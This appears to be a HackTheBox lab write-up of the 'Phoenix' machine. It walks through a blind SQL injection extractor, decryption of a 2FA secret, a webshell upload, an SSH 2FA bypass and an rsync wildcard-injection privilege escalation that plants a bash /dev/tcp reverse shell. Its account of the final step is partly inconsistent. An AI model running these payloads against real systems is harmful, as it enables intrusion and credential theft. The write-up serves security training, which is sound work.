HTB: Phoenix Writeup

Phoenix - HackTheBox Writeup

Machine Information

AttributeDetails
NamePhoenix
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.68.143
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Phoenix is a WordPress box guarded by two separate two-factor authentication layers — one on the WordPress login itself, one on SSH — plus a clock that lies about the time. The entry point is an unauthenticated, blind time-based SQL injection in the asgaros-forum plugin’s subscribe_topic parameter. Rather than let sqlmap grind through it at HTTP-request speed, I wrote a custom bitwise blind extractor to pull exactly the rows needed: the admin’s password hash (cracked offline with John/rockyou) and the miniOrange 2FA plugin’s AES-encrypted TOTP secret plus its per-user random key. Decrypting that secret and — critically — correcting for an ~8-hour clock skew on the target got me past the OTP prompt and into the WordPress admin panel. From there, a vulnerable “Download from files” plugin gave unauthenticated arbitrary file upload, landing a .phtml webshell as wp_user. Reading wp-config.php exposed the database credentials, which let me dump wp_users without any blind-injection constraints and recover a password reused by the system account editor. SSH as editor was itself gated by a second, PAM-based 2FA — bypassed by connecting from the box’s own internal eth0 subnet, which the PAM config trusts implicitly. From editor, a root-owned cron job in a world-writable /backups directory running rsync --ignore-existing -t *.* was hijacked with a classic wildcard-injection payload to execute an attacker-controlled script as root.

TL;DR: Blind SQLi in asgaros-forum (subscribe_topic) → dump admin hash (John/rockyou) → decrypt miniOrange 2FA AES secret from DB → correct for clock skew, log in as admin → “Download from files” plugin arbitrary upload → .phtml webshell as wp_user → wp-config.php DB creds → password reuse → SSH as editor from trusted internal subnet (bypasses PAM 2FA) → user.txt → root cron rsync wildcard injection in /backups → SUID root bash → root.txt.


Reconnaissance

Port Scanning

Recon confirmed the standard three-port footprint on 10.129.68.143: 22 (SSH), 80 (HTTP), 443 (HTTPS), with the vhost phoenix.htb in play. I added it to /etc/hosts on the jump box and confirmed the site resolved correctly over HTTPS before doing anything else.

Terminal window
# Add the target vhost so HTTPS/SNI resolves correctly
sudo sed -i "/phoenix.htb/d" /etc/hosts
echo "10.129.68.143 phoenix.htb" | sudo tee -a /etc/hosts
curl -sk -o /dev/null -w "%{http_code} %{url_effective}\n" -L https://phoenix.htb/

Service Enumeration

https://phoenix.htb/ is a WordPress site. The plugin footprint (from page source / assets) revealed asgaros-forum, exposed at /forum/, and later — once authenticated — a “Download from files” upload plugin visible in the admin plugin list.

Vulnerability Assessment

  • asgaros-forum — Unauthenticated Blind Time-Based SQL Injection via the subscribe_topic GET parameter on /forum/.
  • miniOrange Two-Factor Authentication plugin — TOTP secrets are stored AES-encrypted in wp_usermeta under mo2f_gauth_key, with the AES key material stored alongside it in the same table under mo2f_get_auth_rnd_string. Anyone with database read access (e.g., via the SQLi) can decrypt any user’s TOTP secret.
  • “Download from files” plugin — unauthenticated arbitrary file upload/execution via admin-ajax.php?action=download_from_files_617_fileupload, allowing .phtml webshell upload (this is the class of vulnerability behind exploit-db 50287 for this plugin family).
  • Password reuse between the WordPress database and a real system account (editor).
  • SSH PAM misconfiguration trusting a specific internal subnet to skip a second TOTP challenge.
  • Root cron wildcard injection via rsync invoked with a bare *.* glob inside an attacker-writable directory.

Initial Foothold

Confirming and Weaponizing the Blind SQLi

I first confirmed the injection point was live with a series of boolean/time-based probes against subscribe_topic:

Terminal window
# Time-based probes against the forum's subscribe_topic parameter
for p in "1" "1 AND SLEEP(5)" "1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)" "(SELECT SLEEP(5))" "1) AND SLEEP(5) AND (1=1"; do
e=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$p")
curl -sk -o /dev/null -w "%{time_total} $p\n" "https://phoenix.htb/forum/?subscribe_topic=$e"
done

The payload confirming the injection was a straight IF(cond, SLEEP(3), 0) construct — a clean 3-second delay on true, near-instant on false. Given how slow a blind time-based channel is over plain HTTP requests, and that sqlmap would burn a huge amount of wall-clock time dumping tables blindly, I wrote a dedicated extractor instead:

#!/usr/bin/env python3
# Fast concurrent bitwise blind extractor for asgaros-forum SQLi
import sys, urllib.parse, requests, concurrent.futures as cf, time, threading
requests.packages.urllib3.disable_warnings()
URL = "https://phoenix.htb/forum/?subscribe_topic="
def probe(cond):
"""Send a boolean-time-based check: 3s SLEEP if cond is true, 0 otherwise."""
payload = f"1 AND IF(({cond}),SLEEP(3),0)"
q = urllib.parse.quote(payload)
t0 = time.time()
requests.get(URL + q, verify=False, timeout=10)
return (time.time() - t0) > 2
def extract(query, max_len=200):
"""Extract query result byte-by-byte using bitwise ASCII checks."""
out = ""
for pos in range(1, max_len + 1):
char_val = 0
for bit in range(7, -1, -1):
cond = f"(ASCII(SUBSTRING(({query}),{pos},1)) >> {bit}) & 1 = 1"
if probe(cond):
char_val |= (1 << bit)
if char_val == 0:
break
out += chr(char_val)
return out

Initial runs with high concurrency produced false positives (the app / DB couldn’t sustain that many simultaneous SLEEP() connections without noise bleeding across requests), so I dialed concurrency down to 5 workers, which stabilized the timing signal.

Following the same “target exactly what you need” approach the box demands, I went straight for the admin’s password hash rather than dumping the whole wp_users table:

Terminal window
# Extract wp_users.user_pass for ID 1 (Phoenix, the admin)
python3 blind.py "SELECT user_pass FROM wp_users WHERE ID=1"

This recovered:

$P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.

One gotcha worth flagging: MySQL on this box silently rejected double-quoted string literals in the injected subquery — the length probe just came back as 0, indistinguishable from “no such row.” Switching every string literal to 0x<hex> form fixed it immediately:

# Use hex literals instead of quoted strings — quotes are silently mangled
h = lambda s: "0x" + s.encode().hex()
q = "SELECT meta_value FROM wp_usermeta WHERE meta_key=%s AND user_id=1" % h("mo2f_gauth_key")

Cracking the Admin Hash

Terminal window
echo '$P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.' > h1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass h1

John cracked the WordPress phpass hash against rockyou, recovering:

Password: phoenixthefirebird14

Defeating the miniOrange 2FA

Logging in with Phoenix / phoenixthefirebird14 on the front-end /login/ (a pie-register-driven login page, not wp-login.php) required first pulling a nonce and solving a math captcha parsed out of a matchCapHTML JSON key returned by the login form — handled in a small login script before the credentials were POSTed. That got me through credential validation but landed on an OTP prompt.

Since the SQLi already gave arbitrary read access to wp_usermeta, I used the same extractor to dump the miniOrange plugin’s stored TOTP material for the relevant user IDs:

# Dump miniOrange 2FA secret + its per-user AES key material
import blind
h = lambda s: "0x" + s.encode().hex()
qs = {
"ids": "SELECT GROUP_CONCAT(user_id) FROM wp_usermeta WHERE meta_key=%s" % h("mo2f_gauth_key"),
"rnd1": "SELECT meta_value FROM wp_usermeta WHERE meta_key=%s AND user_id=1" % h("mo2f_get_auth_rnd_string"),
"key1": "SELECT meta_value FROM wp_usermeta WHERE meta_key=%s AND user_id=1" % h("mo2f_gauth_key"),
}
for name, q in qs.items():
print(name, "=", repr(blind.extract(q)))

This confirmed the pattern the miniOrange plugin uses (documented in its own source): each user gets a random 8-character key (mo2f_get_auth_rnd_string) that’s used, along with an HMAC, to AES-CBC-encrypt the actual base32 TOTP secret before it’s stored in mo2f_gauth_key. For user ID 1 the random key recovered was kHHxxX3f, matching the expected 8-character format.

I decrypted the ciphertext following the plugin’s own AES-128-CBC scheme — ciphertext laid out as iv | hmac | encrypted_data, with the random string zero-padded out to 16 bytes to form the AES key:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import base64
def mo2f_decrypt(secret_b64, rnd_key):
"""Replicates mo2f_GAuth_AESEncryption::decrypt_data from the plugin."""
raw = base64.b64decode(secret_b64)
key = rnd_key.encode().ljust(16, b'\x00') # zero-pad rnd string to 16 bytes
iv = raw[:16]
ct = raw[32:] # skip iv (16) + hmac (16)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
dec = cipher.decryptor()
pt = dec.update(ct) + dec.finalize()
return pt.rstrip(b'\x00').decode()

The first attempt (user ID 1) produced a code that the login form rejected as “Invalid OTP” — with only 3 attempts allowed before lockout, this needed diagnosing rather than brute-force retrying. Two things were going on:

  1. The account tied to the actual “Phoenix” admin username was user ID 5, not ID 1 — so I re-extracted mo2f_get_auth_rnd_string and mo2f_gauth_key for user_id=5 instead.
  2. The target’s clock was running ~8 hours behind. TOTP is time-window based, so a correctly decrypted secret still fails if the client and server clocks disagree by more than a step or two. I compared local time against the server’s Date response header:
Terminal window
curl -sk -I https://phoenix.htb/ | grep -i ^date

and generated the OTP against the server’s time rather than local wall-clock time:

import pyotp, email.utils, time
secret = "PDEEWIVJSIDWS6WO" # decrypted TOTP secret for user_id 5
server_date_header = "..." # from the Date: response header
server_epoch = email.utils.mktime_tz(email.utils.parsedate_tz(server_date_header))
totp = pyotp.TOTP(secret)
code = totp.at(server_epoch) # generate for server time, not local time

With the decrypted secret PDEEWIVJSIDWS6WO and the code generated against server time, the OTP prompt accepted the login and dropped me into the WordPress admin dashboard as Phoenix.

Arbitrary File Upload → Webshell

With admin access, the “Download from files” plugin exposed an unauthenticated AJAX action for uploading files directly:

admin-ajax.php?action=download_from_files_617_fileupload

This endpoint accepts arbitrary extensions including .phtml, which Apache’s default PHP handler config on this box executes as PHP. I uploaded a .phtml webshell through it and confirmed code execution as wp_user.


Privilege Escalation

wp_user → editor (Lateral Movement)

Reading wp-config.php from the webshell exposed the live WordPress database credentials. With direct, unconstrained mysql access (no more blind-injection timing games), I dumped wp_users in full and found additional password hashes tied to real names in the table — including one matching the pattern of a system account. Cross-referencing /etc/passwd for accounts with a real login shell confirmed editor as a legitimate system user, and the cracked/recovered password superphoenix — reused between the WordPress DB and the OS account — authenticated successfully:

Terminal window
ssh editor@10.11.12.13

Note the target IP here: 10.11.12.13, not the external box IP. SSH to the machine’s external address for editor is gated by a second PAM-based TOTP challenge (mirroring the WordPress 2FA problem), but the PAM configuration on this box trusts connections originating from a specific internal subnet and skips the verification step entirely. Connecting to the box’s own internal eth0 address (10.11.12.13) landed a shell as editor without ever needing to solve that second OTP — confirming user.txt access.

editor → root (Cron Wildcard Injection)

With a foothold as editor, I found /backups writable by that user, and a root-owned cron artifact (cron.sh.x) running periodically (every 3 minutes) that performs a WordPress DB backup and then syncs the results out with:

Terminal window
rsync --ignore-existing -t *.* jit@<remote>:/backups/

This is a textbook wildcard injection vulnerability (CWE-88-class issue, well documented for rsync/tar/chown invoked with unquoted globs): because *.* is expanded by the shell against the contents of /backups at execution time, any attacker-controlled filenames sitting in that directory are passed to rsync as if they were command-line arguments — including rsync’s own flags. rsync supports an -e option to specify an alternate remote shell command, which is exactly the primitive needed to get command execution as root.

# Payload script rsync will be tricked into invoking as its "remote shell"
cat > /backups/shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
EOF
chmod +x /backups/shell.sh
# Filename crafted so the glob expansion injects an -e flag into rsync's argv
touch "/backups/-e bash shell.sh"

When the wildcard *.* next expanded inside the root cron job, rsync parsed -e bash shell.sh as --rsh="bash shell.sh", causing it to execute bash shell.sh as its “remote shell” — as root. This dropped a SUID root bash binary I later used directly to confirm ownership:

Terminal window
/backups/rb -p -c
# id → euid=0(root)
# hostname → phoenix

Reading both flags directly from that root shell:

Terminal window
cat /home/editor/user.txt
cat /root/root.txt

Attack Chain Summary

Unauthenticated blind time-based SQLi in asgaros-forum (subscribe_topic)
→ dump wp_users.user_pass for admin (ID/user_id 5) → crack with John/rockyou → phoenixthefirebird14
→ dump miniOrange mo2f_gauth_key + mo2f_get_auth_rnd_string from wp_usermeta
→ decrypt AES-128-CBC TOTP secret (PDEEWIVJSIDWS6WO)
→ correct for ~8h server clock skew, generate valid TOTP → admin login bypasses 2FA
→ "Download from files" plugin unauthenticated upload → .phtml webshell as wp_user
→ read wp-config.php → DB creds → dump wp_users unconstrained → password reuse (superphoenix)
→ SSH as editor via trusted internal subnet 10.11.12.13 → PAM 2FA bypassed → user.txt
→ /backups writable, root cron runs rsync --ignore-existing -t *.*
→ wildcard injection: -e bash shell.sh → root executes shell.sh
→ SUID root bash → root.txt

Tools Used

ToolPurpose
nmapPort scanning / service enumeration
Custom Python blind SQLi extractorFast, targeted bitwise data exfiltration over the time-based channel
curlManual HTTP probing, login flow, Date header retrieval
john (rockyou.txt)Offline cracking of WordPress phpass hashes
cryptography (Python)AES-128-CBC decryption of the miniOrange TOTP secret
pyotpTOTP code generation against corrected server time
WordPress “Download from files” plugin AJAX endpointUnauthenticated arbitrary file upload → webshell
mysql clientUnconstrained DB enumeration once shell access was obtained
sshLateral movement to editor, PAM subnet-trust bypass
rsync wildcard injectionRoot cron hijack via crafted -e filename payload

Key Learnings

Techniques Practiced

  • Writing a custom, concurrency-tuned blind time-based SQL injection extractor instead of relying on sqlmap, to keep exfiltration scoped and fast.
  • Diagnosing silent MySQL string-literal quoting failures and working around them with hex-encoded literals.
  • Reverse-engineering a WordPress plugin’s own AES encryption scheme from its PHP source to decrypt a stored TOTP secret.
  • Detecting and compensating for target/attacker clock skew when generating TOTP codes.
  • Chaining an unauthenticated file-upload plugin vulnerability into full webshell RCE.
  • Recognizing password reuse between an application database and OS-level accounts as a lateral movement path.
  • Identifying and exploiting a PAM configuration that trusts a specific source subnet to skip 2FA.
  • Exploiting an unquoted shell glob (*.*) passed to rsync to inject the -e remote-shell flag and gain root code execution.

Lessons Learned

  1. Blind time-based SQL injection is fully weaponizable without sqlmap when you know exactly which rows you need — a targeted, concurrency-tuned extractor can be dramatically faster than a generic tool grinding through full-table dumps.
  2. Application-layer encryption is only as strong as the secrecy of its key material — when the AES key and ciphertext are both stored in the same database table an attacker can already read, “encryption at rest” provides no real protection.
  3. Two-factor authentication built on TOTP is fragile against clock drift; always validate server time before assuming a correctly derived secret has failed.
  4. Defense-in-depth mechanisms (like PAM subnet-trust exceptions for internal automation) can become the weakest link once an attacker reaches an internal network position.
  5. Any cron job invoking rsync, tar, chown, or similar tools with an unquoted wildcard against an attacker-writable directory is a wildcard-injection vulnerability waiting to be exploited — always quote globs or use -- to terminate flag parsing.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Phoenix — HackTheBox Official Writeup (D22.100.181), prepared by amra, machine authored by jit — used for background on the asgaros-forum CVE context, the miniOrange plugin’s usermeta-based TOTP storage design, the SSH PAM subnet-trust mechanism, and the rsync wildcard-injection root cron pattern.